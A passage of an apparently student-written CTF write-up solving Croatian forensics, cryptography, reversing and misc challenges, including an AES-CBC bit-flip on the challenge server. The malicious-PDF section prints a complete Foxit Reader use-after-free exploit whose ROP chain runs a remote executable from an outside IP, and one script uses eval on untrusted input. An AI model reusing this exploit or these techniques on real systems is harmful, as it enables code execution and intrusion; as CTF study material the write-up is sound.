.rwxrwxrwx   39 root 30 Apr 15:06 zip_lozinka.txt
$ icat flag.png
-- black text on white background --

$ tesseract flag.png out -l hrv && cat out.txt
Estimating resolution as 135
CTF2024[321637860599]

Part 6

Istažitelji su pronašli 2 eksterna diska, jedan je šifriran LUKS enkripcijom, na drugom se nalazio backup LUKS zaglavlja.

Osumnjičeni kaže kako je nedavno promijenio enkripcijsku lozinku na eksternom disku, i da je lozinka toliko dugačka da ju se ni sam više ne sjeća. Također, tvrdi da je prije koristio jako slabu lozinku, koja se sastojala od svega 3 znamenke, ali da nam to neće koristiti.

Sumnjamo da se na disku nalaze vrijedni forenzički tragovi, možeš li nekako ipak dešifrirati šifrirani LUKS disk?

This one was pretty interesting, but very slow. Cracking LUKS took a long time

Cracking

I had no luck with hashcat, but this other program looked promising:

https://github.com/glv2/bruteforce-luks

I installed it, and followed the README (I love the AUR btw)

$ paru -Sy bruteforce-luks

$ py -c "for x in range(1000): print(str(x).zfill(3))" > dict
$ bruteforce-luks -f dict -v 60 -t 2 luks_header_backup_1_2_2023
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

... a coffee break later ...

Password found: 123

The program was pretty buggy, and it only got ~0.3 hashes/second

Trying to go for more than 2 threads got into a deadlock almost instantly

(Afterwards, most people told me they just guessed the password. That would have probably saved me some time)

Decryption

Now, LUKS is pretty interesting.

It uses a single “master key”, and the password is only used to decrypt the master key

When a new password is created, it is added to a new slot, and both passwords can be used to decrypt the master key.

That means we can change the new “secure” header with the old header we just cracked

(this section is mostly inspired by this article: https://www.forensicfocus.com/articles/bruteforcing-linux-full-disk-encryption-luks-with-hashcat/)

$ cp luks_header_backup_1_2_2023 newvol
$ stat -c %s new
16777216
$ sudo dd if=luksvolume of=newvol bs=1 skip=16777216 seek=16777216 conv=notrunc
...
$ sudo cryptsetup luksOpen newvol decrypted
Enter passphrase for newvol: 123
$ file /dev/loop0
/dev/loop0: block special (7/0)
$ cat /dev/loop0 > out
$ mkdir mntd
$ sudo mount /dev/mapper/decrypted mntd
$ cd mntd
$ ls
.rw-r--r-- 22 root 24 Apr 10:33 flag.txt
$ cat flag.txt
CTF2024[162539047819]

Kriptografija

Duga

Ivan je odlučio skrivati svoje tajne informacije tako da ih lomi u manje stringove i zatim hashira svaki mali string zasebno. Dokaži Ivanu da to možda i nije najbolja ideja.

We were given the following:

112c61a276d0376f2f6b25dd3a337b1d
999d0cd62b8ea4c8cc007fa60dd7f242818b5349
bcac9d1d8eab3713ae489224d0130c9468e7a0e3
a87ff679a2f3e71d9181a67b7542122c
1e5c2f367f02e47a8c160cda1cd9d91decbac441
19b650660b253761af189682e03501dd
e4da3b7fbbce2345d7772b0674a318d5
16b06bd9b738835e2d134fe8d596e9ab0086a985
8f14e45fceea167a5a36dedd4bea2543
456f2361d677372141da13ecbc8f27b83f5b6a15
902ba3cda1883801594b6e1b452790cc53948fda
b261807d4663f1371171d57b7d40893f

Since the challenge said these were small hashed strings, we just used hashes.com to get original string pieces, which when combined gave the flag: CTF2024[863589749474]

Rubix

Ivan jako voli rješavati rubikove kocke. Isto tako, bavi se pisanjem i ne voli kada mu netko od ukućana s kojima dijeli računalo čita nedovršene tekstove. Kako bi riješio svoj problem, odlučio je smisliti vlastiti rotacijski algoritam šifriranja inspiriran rubikovim kockama. Na njegovu žalost, njegova sestra Ana, koja jako voli čitati, isto tako jako voli algoritme, a iako je Ivan izbrisao nekompajlirani izvorni kod koji mu kriptira tekstove, Ana mu je pronašla dokumentaciju koju je napisao za sebe da mu je lakše programirati. Pokažite Ivanu da njegov algoritam vjerojatno neće predugo sprječavati Anu da mu čita nedovršena djela.

As a part of the challenge we were given the following algorithm:

Rubix algoritam je rotacijski algoritam za šifriranje koji koristi rotacije na rubikovoj kocki kako bi šifrirao
poruku. Znakovi engleskog alfabeta i brojke 0-9 raspoređene su na rubikovu kocku kako je prikazano na
slici dolje.

Original matrix

Plavo polje je enkripcijsko polje, koje uspoređujemo s početnim stanjem polja kako bismo odredili koji
znak mijenjamo kojim. Rotacije koje se koriste su poput onih na rubikovoj kocki i prikazane su na slici
ispod.

Rotations

I još dodatne rotacije MU, MD, ML i MD (kao i njihove pripadne obrnute rotacije s apostrofom) koje se
odnose na rotacije unutarnjih redaka odnosno stupaca – drugog odozgo, odozdo, slijeva i zdesna
redom.

Na kraju postupka, ako rezultatno polje ponavlja neke znakove, a neki znakovi fale, znakovi koji fale se
sortiraju silazno (prvo brojke, zatim slova, npr, ako fale 4, 7, A i Z, znakovi će biti sortirani kao [7, 4, Z,
A] i zatim se duplicirani znakovi u polju redom mijenjaju znakovima koji fale.

Algoritam primjenjuje 3 rotacije za šifriranje, ali radi lakšeg shvaćanja, u nastavku se nalazi primjer
nakon za isčitavanje tablice nakon jedne rotacije.

Primjer:

Imamo početno stanje.

Original matrix

Primjenjujemo rot F

Rotated F matrix

Ako bismo sad recimo htjeli enkriptirati string HAHA, rezultat bi bio Z4Z4

We were also given the flag with its rotations:

F'LU
XIFZNZA[NYZAZAA5TMAM]

After that we simply had to apply the following transformations and we got the following encryption matrix:

Encryption matrix

The flag: CTF2024[082424431646]

Ne-sumično

Ante je organizirao CTF natjecanje. Na natjecanje je pozvao i svog kolegu Milana. Milan ne zna riješiti treći zadatak, ali zna da je Ante generirao flagove sa vlastitim linearnim kongruentnim generatorom, na način da bi generirao 6 brojeva manjih od 100 i zatim ih spojio u jedan flag. Milan je već riješio prva dva zadatka, što znači da ima prva 2 flaga, odnosno prvih 12 brojeva generatora. Ante zna da Milan ne bi znao riješiti takav zadatak pa mu je sve ovo malo čudno. Dokaži Anti da mu je generator nesiguran i da svatko može izračunati sve njegove flagove, tako da izračunaš treći flag.

gen_bez_parametra:

#include <iostream>
#include <random>
#include <string>
#include <vector>

using namespace std;

int LCG(int x)
{
	/*promijeniti vrijednosti parametara a, b i m*/
	int m = 99;
	int a = 20;
	int b = 10;
	return (a * x + b) % m; // m probably 100
}

int main()
{
	static bool first = true;
	vector<int> randNs;
	int next;

	int seed = 55;

	if (first) //generiramo prvi flag
	{
		next = LCG(seed);
		randNs.push_back(next);
		first = false;

		for (int i = 0; i < 5; i++)
		{
			next = LCG(next);
			if (next < 10)
			{
				randNs.push_back(0);
				randNs.push_back(next);
			}
			else
				randNs.push_back(next);
		}

		for (int i : randNs)
			cout << i << ' ';
		cout << "\n";
	}


	for (int j = 0; j < 29; j++)  //generiramo ostalih 29 flagova
	{
		randNs.clear();

		for (int i = 0; i < 6; i++)
		{
			next = LCG(next);
			if (next < 10)
			{
				randNs.push_back(0);
				randNs.push_back(next);
			}
			else
				randNs.push_back(next);
		}

		for (int i : randNs)
			cout << i << ' ';
		cout << "\n";
	}
}

From the text and the code we were provided, we knew the real challenge was finding the parameters to the LCG (linear congruential generator), since we were provided the seed. We also got 2 flags:

CTF2024[213496490010]
CTF2024[125260225401]

and from the code we could see that the actual numbers being generated by the LCG were:

21, 34, 96, 49, 00, 10, 12, 52, 60, 22, 54, 01

in that order.

LGCs, mathematically speaking, give new numbers from this formula:

Sn = (a*Sn-1 + b) mod m

When dealing with LCGs, the most important thing to know is the parameter m, the modulus. To find it, we define Tn:

Tn = Sn - Sn-1 = a*Sn-1 + b - (a*Sn-2 +b) mod m = a*(Tn-1) mod m = a^2 Tn-2 mod m

We have

Tn*Tn-2 - Tn-1^2 = 0 mod m

If we had enough numbers generated by the LCG, we could find Tn for every n, and thus all Tn*Tn-2 - Tn-1^2. If we then find their greatest common divisor, that will be the parameter m. Down here is my haskell code that does just that.

nums = [21, 34, 96, 49, 00, 10, 12, 52, 60, 22, 54, 01]

tn :: [Int]
tn = tail $ zipWith (-) nums $ [0]++nums

calc :: [Int] -> [Int]
calc (x:y:z:xs) = (x*z - y*y) : calc (y:z:xs)
calc (x:y:[]) = [0]

un :: [Int]
un = init $ calc tn

greatestCommonDivisor :: Int
greatestCommonDivisor = last $ scanl gcd (head un) un

The code outputs m = 99, which makes sense, since the largest number in the flags we got is 96.

Finding a and b can be done by hand if we notice we have a 0 in the generated numbers. That will give us

10 = 0*a + b mod 99 
10 = b mod 99 
b = 10 mod 99.

We can just assume b is 10, since it doesn’t matter what exactly b is - we only need b mod 99 for the problem.

Now we can take any other pair of numbers to find a. Lets take the seed and the first number:

21 = 55a + 10 mod 99
11 = 55a mod 99
1 = 5a mod 99
100 = 5a mod 99
a = 20 mod 99

and now we have a, b and m. We simply insert them in the code provided by the challenge, run it and submit the third flag.

$ ./a.out
21 34 96 49 0 0 10
12 52 60 22 54 0 1
30 16 33 76 45 19

The flag: CTF2024[301633764519]

Naporni tjedan

Marko smatra da njegov prijatelj Ivan treba malo izaći na zrak jer u zadnje vrijeme previše radi labose i stalno je doma. U tu svrhu, pokušao ga je pozvati van na kebab u chatu njihove grupe prijatelja, čak ga je pingao da mu privuče pažnju. Na kraju ipak nije uspio nagovoriti Ivana da danas izađe van, ali mu je barem poslao sretnu zastavicu za dobru sreću s labosima. Chat je zaštićen jednokratnom bilježnicom, koja možda i nije toliko jednokratna. Ukradi im sretnu zastavicu da bi im pokazao da bilježnice moraju biti uistinu jednokratne.

Hint1: Ne koriste se dijakritici, kao alfabet možete očekivati engleski alfabet.

Hint2: Marko je Ivanu poslao zastavicu u zadnjoj poruci. Zadnja poruka ne sadržava ništa osim zastavice.

So… I kinda already solved this challenge before this competition even started.

It’s challenge 6 in CryptoPals Challenge Set 1, except a bit easier.

We know the key length is the length of the messages, so I just slightly modified the code I already had for breaking XOR.

This is the code:

#![allow(unused)]
use std::{cmp::Reverse, collections::HashMap};

// https://stackoverflow.com/a/64499219
pub fn transpose<T>(v: Vec<Vec<T>>) -> Vec<Vec<T>>
where
    T: Default,
{
    assert!(!v.is_empty());
    let len = v[0].len();
    let mut iters: Vec<_> = v.into_iter().map(|n| n.into_iter()).collect();
    (0..len)
        .map(|_| {
            iters
                .iter_mut()
                .filter_map(|n| n.next())
                .collect::<Vec<T>>()
        })
        .collect()
}

use base64::{
    prelude::{Engine as _, BASE64_STANDARD as b64},
    Engine,
};
use itertools::Itertools;

fn val(i: u8) -> u8 {
    match i {
        b'A'..=b'F' => i - b'A' + 10,
        b'0'..=b'9' => i - b'0',
        _ => panic!("Invalid integer {i}"),
    }
}
fn hxd(input: &str) -> Vec<u8> {
    input
        .as_bytes()
        .chunks(2)
        .map(|c| val(c[0]) << 4 | val(c[1]))
        .collect()
}

fn hxe(input: &[u8]) -> String {
    input.iter().map(|x| format!("{x:02x}")).collect()
}

fn xor_fixed(a: &[u8], b: &[u8]) -> Vec<u8> {
    a.iter().zip(b.iter()).map(|(a, b)| a ^ b).collect()
}

fn xor_1byte(a: &[u8], b: u8) -> Vec<u8> {
    a.iter().map(|c| c ^ b).collect()
}

fn xor_keyed(a: &[u8], b: &[u8]) -> Vec<u8> {
    a.iter()
        .zip(std::iter::repeat(b.iter()).flatten())
        .map(|(a, b)| a ^ b)
        .collect()
}

// frequencies from: http://norvig.com/mayzner.html
fn string_score(a: &str) -> usize {
    let thng = " etaoinsrhldcumfpgwybvkxjqz202401356789[]";
    a.to_lowercase()
        .chars()
        .filter_map(|x| thng.find(x))
        .map(|x| thng.len() - x)
        .sum()
}

fn break_1byte(a: &[u8]) -> String {
    let mut s = vec![];

    for x in 0..u8::MAX {
        let st = String::from_utf8(xor_1byte(a, x));
        if st.is_ok() {
            s.push(st.unwrap());
        }
    }
    s.sort_unstable_by_key(|a| string_score(a));
    s.into_iter().last().unwrap()
}

fn hamming(a: &[u8], b: &[u8]) -> usize {
    xor_fixed(a, b)
        .iter()
        .map(|x| x.count_ones() as usize)
        .sum()
}

fn main() {
    // i just did this conversion by hand
    let enc = ["180E1F49030F4154064C1A41100E520400020D0000", "051311070B4A08440C0106001A0E521F0C0E0B031E", "02005004010D14000D0D0741074F011B1B1E135B17", "0D451408044A114C0016495A151C061B49020F5E00", "010A0208034A0F4119051A4100065218080E051211", "0D451E001D1E000006020D41541C00111D0205401E", "041311050F4A15520C0E08541D4F11114901035B16", "09131F491D180454070D495A151C06151F05090005", "0F31365B5E58557B5B5A5E19455E47465A55595462" ];
    let enc = enc.into_iter().map(|x| hxd(x)).collect_vec();
    let mut best = HashMap::new();
    let score = enc.iter()
        .tuple_windows()
        .map(|(a, b)| hamming(a.as_ref(), b.as_slice()) as f64 / a.len() as f64);
    let score: f64 = score.clone().sum::<f64>() / score.len() as f64;

    best.insert(enc[0].len(), score);
    
    let bestest = best
        .iter()
        .sorted_unstable_by(|a, b| a.1.partial_cmp(b.1).unwrap())
        .collect_vec();
    println!("{:?}", bestest);
    for (&key, _) in bestest {
        let chks = transpose(enc.iter().map(|x| x.to_vec()).collect());
        let chks = transpose(
            chks.iter()
                .map(|x| break_1byte(x).chars().collect())
                .collect(),
        );
        let chks = chks.iter().map(|x| String::from_iter(x)).join("\n");
        println!("{chks}");
    }
}

And it gives us output that is… close enough:

$ cargo run
    Finished dev [unoptimized + debuginfo] target(s) in 0.04s
     Running `/home/tonik/proj/cryptopals/set1/target/debug/set1`
[(21, 2.6547619047619047)]
Tko me to stda pieg2R
Ivane idemo5na keia1L
Ne mogu dants soryyiE
A daj pliz oasto eelR
Moram napistti laio C
A nista ondt sreteorL
Hvala trebaai ce fiiD
Evo sretna oastavbc2W
CTF2024[267,1152323f0

From known words, we can edit the key until it gets us the flag:

// change it until it works
let key = xor_fixed(&enc[7], b"Evo sretna zastavica:");
for x in &enc {
    println!("{}", String::from_utf8_lossy(&xor_fixed(x, &key)));
}

and we get this:

Tko me to sada pinga?
Ivane idemo na kebab!
Ne mogu danas sorry:(
A daj pliz zasto ne??
Moram napisati labos.
A nista onda sretno!!
Hvala trebati ce mi:)
Evo sretna zastavica:
CTF2024[267911523935]

Hellmanns

Josip i Marija razgovaraju o umacima za sendviče koje prodaju na svom novom štandu. S obzirom na to da je konkurencija u biznisu prodaje sendviča nemilosrdna, ne žele da netko dozna tajne sastojke njihovih najpopularnijih sendviča. U tu svrhu, odlučili su svoju komunikaciju zaštititi posmačnom šifrom, a ključ same šifre prenositi nešto modernijim algoritmom razmjene ključeva kao dijeljenu tajnu.

Ipak, svoje tajne nisu baš najbolje zaštitili. Pokaži im da trebaju još malo poraditi na tome.

The thing is, no matter how secure the thing might be, the modulo (p) is 9001, which allows us to brute force all the keys in seconds

import sys
import hashlib


mod_p = 9001
base_g = 877
a_public = 5613
b_public = 341
# a_secret = int(input('a secret: '))
# b_secret = int(input('b secret: '))


for shared_secret in range(0, 9001):
    key = hashlib.md5(str(shared_secret).encode("ascii")).hexdigest()
    # a simple find/replace 0x to \\x
    message = b"\x25\x30\x70\x0b\x54\x50\x51\x69\x0f\x51\x01\x04\x01\x54\x0f\x54\x52\x0d\x0e\x0f\x3c"

    result = str()
    list_key = list(key)
    list_message = list(message)
    for (i, j) in zip(list_key, list_message):
        char = ord(i) ^ j
        result += chr(char)
    if result.startswith("CTF2024"):
        print(result)

And it spits out the flag almost instantly:

$ py crack.py
CTF2024[670175814599]

Aesop

Hrvoje je na predavanjima učio o kriptografskim algoritmima i toliko su ga zaintrigirali da se odlučio okušati u samostalnoj izradi programa koji bi štitio njegove najtajnije informacije. Hrvoje je svoj program postavio kao mrežni servis na kojem sprema svoje projekte. On, kao admin, ima pristup svim projektima, a svojim prijateljima daje podatke za guest pristup kako bi im mogao pokazivati projekte koje smatra dovršenima.

Dokaži Hrvoju da mu je servis ranjiv i da treba još puno učiti.

Na njegov servis možeš se spojiti naredbom netcat

nc chal.hackultet.hr 13019

A quick glance at the source code shows us it’s the classic AES CBC challenge

We can flip bits in the IV to also flip bits in the final output

If we know the original encrypted string, we can xor it with what we want to get, and xor that with the iv to get the new iv

To find the bits we need to flip, i added a single debug print:

# source.py #24
    padded = pad(plaintext, 16)
    print(padded)
# AES keys must be 16 or 32 bytes
$ KEY="0123456789abcdef" py source.py                                                             1Dobrodosao !
Prijavite se.
Kako se zelite prijaviti ?
1) Token
2) Lozinka

:2
username : user
password : pass
b'{"is_admin": 0}\x01'
Tvoj token je : aedd4489f66432ee88672cb41175655b70bb021445f9836dafc1a243620cf3d2
welcome guest

Alright, we need to flip the last bit of the 13th byte. We can do that by hand:

$ nc chal.hackultet.hr 13019
Dobrodosao !
Prijavite se.
Kako se zelite prijaviti ?
1) Token
2) Lozinka

:2
username : user
password : pass
Tvoj token je : 8417ff8d4a8cfcf32fd5edd2c882c9294fef4fb7edbb0c9f41a00994b6d06ad0
welcome guest

Now we change the 13th byte:

8417ff8d4a8cfcf32fd5edd2c882c9294fef4fb7edbb0c9f41a00994b6d06ad0
8417ff8d4a8cfcf32fd5edd2c883c9294fef4fb7edbb0c9f41a00994b6d06ad0
                           ^

And do the key login thing:

nc chal.hackultet.hr 13019
Dobrodosao !
Prijavite se.
Kako se zelite prijaviti ?
1) Token
2) Lozinka

:1
Token : 8417ff8d4a8cfcf32fd5edd2c883c9294fef4fb7edbb0c9f41a00994b6d06ad0
Dobrodosao admin!
Flag = CTF2024[512978386104]

Reversing

Lozinka

Možete li unijeti ispravnu lozinku? nc chal.hackultet.hr 13012

We’re given a binary and a remote address. If we open up main, we’ll find a bunch of checks:

.. scanf into var_e8h ...
iVar3 = fcn.00401190(&var_e8h);
if (((
  (iVar3 == 0x20) 
  && ((char)var_e8h == 'a')) 
  && (var_e8h._1_1_ == 'G')) 
  && ((var_e8h._2_1_ == '8' 
  && (var_e8h._3_1_ == '@')))) {
  ... print the flag ...

Now we just have to figure out what fcn.00401190 does…

The disassembly shows it calling a function at 0x42a3a0

Now Cutter wasn’t smart enough to do it on it’s own, but if you open up that address, you’ll see it’s just strlen()

So, the conditions are:

  • a length of 0x20 (32) characters
  • beginning with aG8@...

And it gives us the flag:

$ nc chal.hackultet.hr 13012
Lozinka: aG8@nevergonnagiveyouupnevergonn
CTF2024[348472324235]

Lozinka 2

Ovaj put smo implementirali bolju provjeru lozinke. nc chal.hackultet.hr 13013

It’s the same, but slightly different.

puts("Lozinka: ");
__isoc99_scanf("%99s", &s);
uVar1 = strlen(&s);
if (uVar1 < 6) {
    printf("Prekratak unos");
    uVar2 = 0xffffffff;
} else {
    uVar2 = fopen("./flag.txt", data.00002022);
    fread(&ptr, 100, 1, uVar2, in_R8, in_R9, argv);
    fclose(uVar2);
    var_104h = 0;
    while( true ) {
        uVar1 = strlen(&s);
        if (uVar1 <= (uint64_t)(int64_t)var_104h) break;
        if (*(char *)((int64_t)&s + (int64_t)var_104h) != *(char *)((int64_t)&ptr + (int64_t)var_104h)) {
            uVar2 = 0xffffffff;
            goto code_r0x0000136d;
        }
        var_104h = var_104h + 1;
    }
    puts(&ptr);
    uVar2 = 0;
}

So it’s asking us for a password, it must be at least 6 bytes long and it must match what’s in ./flag.txt

Now the thing is, it doesn’t need to match the whole thing

It’s only checking up to strlen(&s), the length of our input

If we know the flag starts with CTF2024[, we can input that and get the flag:

$ nc chal.hackultet.hr 13013
Lozinka:
CTF2024[
CTF2024[131224316901]

Zmija

Lana voli programirati u Pythonu, ali ne želi da drugi ljudi čitaju njen programski kod. Zato je odlučila pretvoriti svoju Python skriptu u izvršnu datoteku. Možeš li i dalje čitati njen programski kod?

We’re given an ELF file, that supposedly contains compiled Python code.

I tried giving the raw binary to the Python decompiler Decompyle++, but it only works on .pyc files.

If we check it’s strings, we find some fun stuff:

$ rz-bin -z zmija
[Strings]
nth paddr      vaddr      len size section type  string
-------------------------------------------------------
...
257 0x0000b0d0 0x0040b0d0 30  31   .rodata ascii PYINSTALLER_STRICT_UNPACK_MODE
...

It’s using pyinstaller.

It’s always worth checking out if 7zip supports it, but it doesn’t give us anything useful in this case.

We can however find this useful thing: https://github.com/extremecoders-re/pyinstxtractor

It’s a single python script that will unpack most PyInstaller binaries

And it gives us useful stuff:

$ py pyinstxtractor.py zmija
[+] Processing zmija
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 5973383 bytes
[+] Found 31 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: main.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: zmija

You can now use a python decompiler on the pyc files within the extracted directory
(you can use pylingual.io if you don't want to compile pycdc yourself)

$ ls
drwxr-xr-x    - tonik  7 May 23:30 zmija_extracted
.rw-r--r--  17k tonik  7 May 23:21 pyinstxtractor.py
.rwxr-xr-x 6.0M tonik  3 May 20:04 zmija
$ cd zmija_extracted
$ ls
drwxr-xr-x    - tonik  7 May 23:30 lib-dynload
drwxr-xr-x    - tonik  7 May 23:30 PYZ-00.pyz_extracted
.rw-r--r-- 881k tonik  7 May 23:30 base_library.zip
.rw-r--r--  75k tonik  7 May 23:30 libbz2.so.1.0
.rw-r--r-- 4.5M tonik  7 May 23:30 libcrypto.so.3
.rw-r--r-- 195k tonik  7 May 23:30 libexpat.so.1
.rw-r--r-- 170k tonik  7 May 23:30 liblzma.so.5
.rw-r--r-- 187k tonik  7 May 23:30 libmpdec.so.3
.rw-r--r-- 5.8M tonik  7 May 23:30 libpython3.10.so.1.0
.rw-r--r-- 109k tonik  7 May 23:30 libz.so.1
.rw-r--r--  387 tonik  7 May 23:30 main.pyc
.rw-r--r--  861 tonik  7 May 23:30 pyi_rth_inspect.pyc
.rw-r--r--  873 tonik  7 May 23:30 pyiboot01_bootstrap.pyc
.rw-r--r-- 3.7k tonik  7 May 23:30 pyimod01_archive.pyc
.rw-r--r--  17k tonik  7 May 23:30 pyimod02_importers.pyc
.rw-r--r-- 3.7k tonik  7 May 23:30 pyimod03_ctypes.pyc
.rw-r--r-- 805k tonik  7 May 23:30 PYZ-00.pyz
.rw-r--r--  287 tonik  7 May 23:30 struct.pyc

And now we can use Decompyle++ (because uncompyle6 is a pain to install and doesn’t even work on this version of python)

$ pycdc main.pyc
# Source Generated with Decompyle++
# File: main.pyc (Python 3.10)

import sys
input_str = input()
flag = [
    4,
    1,
    5,
    8,
    9,
    3,
    7,
    2,
    6,
    7,
    8,
    2]
for i in range(0, len(flag)):
    if int(input_str[i]) != flag[i]:
        sys.exit(1)
print('CTF2024[', '', **('end',))
for i in flag:
    print(i, '', **('end',))
print(']')

and if we slightly modify it:

flag = [4,1,5,8,9,3,7,2,6,7,8,2]
print('CTF2024[' + ''.join(map(str, flag)) + ']')

It gives us the flag:

CTF2024[415893726782]

Maliciozni PDF

Primili smo ovaj maliciozni PDF privitak. Možeš li saznati IP adresu napadačevog servera? Flag je IP adresa bez točaka, npr. ako je IP adresa servera 192.168.1.2, flag bi bio CTF2024[19216812]

PDF se nalazi u zaštićenoj ZIP arhivi s lozinkom infected , iako Vam ovaj maliciozni PDF ne može zapravo nauditi, preporučamo da ga analizirate u virtualnoj mašini. We recieved a locked zip file ‘sample.zip’ containing sample.pdf file. Our job was finding IP address of our ‘attacker’ (in this case the person that sent us the file). First, we tried opening the pdf file, but it did not work. Now we tried to print the contents of the file using ‘cat’ command.

 cat sample.pdf

This would also work with strings command

Output recieved:

%PDF-
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (

var heap_ptr   = 0;
var foxit_base = 0;
var pwn_array  = [];

function prepare_heap(size){
    var arr = new Array(size);
    for(var i = 0; i < size; i++){
        arr[i] = this.addAnnot({type: "Text"});;
        if (typeof arr[i] == "object"){
            arr[i].destroy();
        }
    }
}

function gc() {
    const maxMallocBytes = 128 * 0x100000;
    for (var i = 0; i < 3; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}

function alloc_at_leak(){
    for (var i = 0; i < 0x64; i++){
        pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
    }
}

function control_memory(){
    for (var i = 0; i < 0x64; i++){
        for (var j = 0; j < pwn_array[i].length; j++){
            pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
        }
    }
}

function leak_vtable(){
    var a = this.addAnnot({type: "Text"});

    a.destroy();
    gc();

    prepare_heap(0x400);
    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    var leaked = stolen[0] & 0xffff0000;
    foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
    var a = this.addAnnot({type: "Text"});
    a.destroy();
    prepare_heap(0x400);

    var test = new ArrayBuffer(0x60);
    var stolen = new Int32Array(test);

    alloc_at_leak();
    heap_ptr = stolen[1];
}

function reclaim(){
    var arr = new Array(0x10);
    for (var i = 0; i < arr.length; i++) {
        arr[i] = new ArrayBuffer(0x60);
        var rop = new Int32Array(arr[i]);

        rop[0x00] = heap_ptr;                // pointer to our stack pivot from the TypedArray leak
        rop[0x01] = foxit_base + 0x01a11d09; // xor ebhttps://www.save-editor.com/tools/wse_hex.htmlx,ebx; or [eax],eax; ret
        rop[0x02] = 0x72727272;              // junk
        rop[0x03] = foxit_base + 0x00001450  // pop ebp; ret
        rop[0x04] = 0xffffffff;              // ret of WinExec
        rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
        rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
        rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
        rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
        rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
        rop[0x0a] = foxit_base + 0x0041c6ca; // ret
        rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
        
rop[0x0c] = 0x39315c5c;
rop[0x0d] = 0x38312e38;
rop[0x0e] = 0x3139312e;
rop[0x0f] = 0x3830322e;
rop[0x10] = 0x625c795c;
rop[0x11] = 0x6578652e;
rop[0x12] = 0x00000000;
rop[0x13] = 0x00000000;
rop[0x14] = 0x00000000;
rop[0x15] = 0x00000000;
rop[0x16] = 0x00000000;
        rop[0x17] = 0x00000000;              // adios, amigo
    }
}

function trigger_uaf(){
    var that = this;
    var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
    var arr = [1];
    Object.defineProperties(arr,{
        "0":{
            get: function () {

                that.getAnnot(0, "uaf").destroy();

                reclaim();
                return 1;
            }
        }
    });

    a.point = arr;
}

function main(){
    leak_heap_chunk();
    leak_vtable();
    control_memory();
    trigger_uaf();
}

if (app.platform == "WIN"){
    if (app.isFoxit == "Foxit Reader"){
        if (app.appFoxitVersion == "9.0.1.1049"){
            main();
        }
    }
}

After looking at the recieved output, and this online PoC, we figured out that the IP must be encoded here:

rop[0x0c] = 0x39315c5c;
rop[0x0d] = 0x38312e38;
rop[0x0e] = 0x3139312e;
rop[0x0f] = 0x3830322e;
rop[0x10] = 0x625c795c;
rop[0x11] = 0x6578652e;

We now need to flip the endianness and hex decode it to get the IP:

\\198.18.191.208\y\b.exe

The flag: CTF2024[19818191208]

Misc

Mondrian

Ana tvrdi da je ovo izvorni kod njenog programa. Međutim, meni ovo izgleda kao apstraktna umjetnost.

In the challenge we were given an image:

Mondrian image

After just a bit of searching online we stumbled upon Piet Mondrian, a Dutch painter. We also quickly found an Esolang called Piet created in his honour. Using this interpreter we got the flag: https://github.com/JensBouman/Piet_interpreter

The flag: CTF2024[795354911297]

Quick mafs

Već je poznato da Marko voli matematiku, pa je odlučio napraviti natjecanje da pronađe najbrže matematičare koji mogu riješiti 100 jednadžbi u 60 sekundi. Možeš li i ti to?

nc chal.hackultet.hr 13001

When connecting to the servis, it gave us math problems to solve, something like

int ( 4 + 5 / 3 / 5 + 10 - 34 * 12)

and it was obvious from the text we had to write a script to evaluate and send the solutions to the math problem.

import getpass
import sys
import telnetlib

HOST = "chal.hackultet.hr"


tn = telnetlib.Telnet(HOST, 13001)
for i in range(100):
    stn = tn.read_until(b')').decode()
    print(stn.split('\n'))
    rj = eval(stn.split('\n')[-1])
    tn.write(str(rj).encode('ascii') + b'\n')

print(tn.read_all().decode())
$ py mafs.py
/home/tonik/s.py:3: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
# That's fun

... a bunch of output ...

Točno

Uspješno riješeni svi zadatci, flag: CTF2024[144865892161]
Vrijeme potrebno za rješavanje  svih zadataka: 0.7986621856689453 sekundi

Yeah I know it uses eval on untrusted input. No, I don't care

telnet lib allows python to interact via telnet, and thats exactly what we needed. Since we know its 100 math problems, we loop it 100 times and in the end just print out the flag with the final line.

Party

Marko i Ana naizgled samo razmjenjuju glazbu. Ali čini vam se da bi tu moglo biti još nečega.

It’s a wav file, you just chuck it into a spectral analyzer dcode.fr is a goated site

Mr. Worldwide

Marko je cijelo ljeto radio na brodu i tako proputovao svijet. Na putovanju je upoznao puno novih prijatelja, ali je kada je uzimao njihove brojeve telefona zaboravio zapisati pozivni predbroj njihovih zemalja. Kako nije baš jako dobar u geografiji, ne može se sjetiti gdje je točno upoznao neke ljude. Srećom ima slike s putovanja, tako da nije sve beznadno. HINTOVI

  1. Flag čine redom konkatenirani predbrojevi lokacija sa slika (CTF2024[<concat_brojevi>]) - bez crtica ili znaka plus
  2. U slučaju da država ima više pozivnih brojeva, uzmite prvi s liste - koristite listu priloženu uz zadatak

It’s the usual osint chall. We find where the images are from, and concat the country codes:

1.jpg - Cres, Croatia (385)
2.jpg - Pico de las Nieves, Spain (34)
3.jpg - Tuff Gong Studios, Jamaica (1876)
4.jpg - Lidotel Centro Lido Caracas, Venezuela (58)
5.jpg - Paraty, Brazil (55)

And the final flag: CTF2024[3853418765855]

Pravila

Pravila

Prije rješavanja natjecanja, bitno je detaljno pročitati pravila. Možda se u pravilima nalazi i neka bitna informacija.

This challenge was the second challenge to be completed by all the teams. (Duga was the first...)

The flag: CTF2024[139283594247]

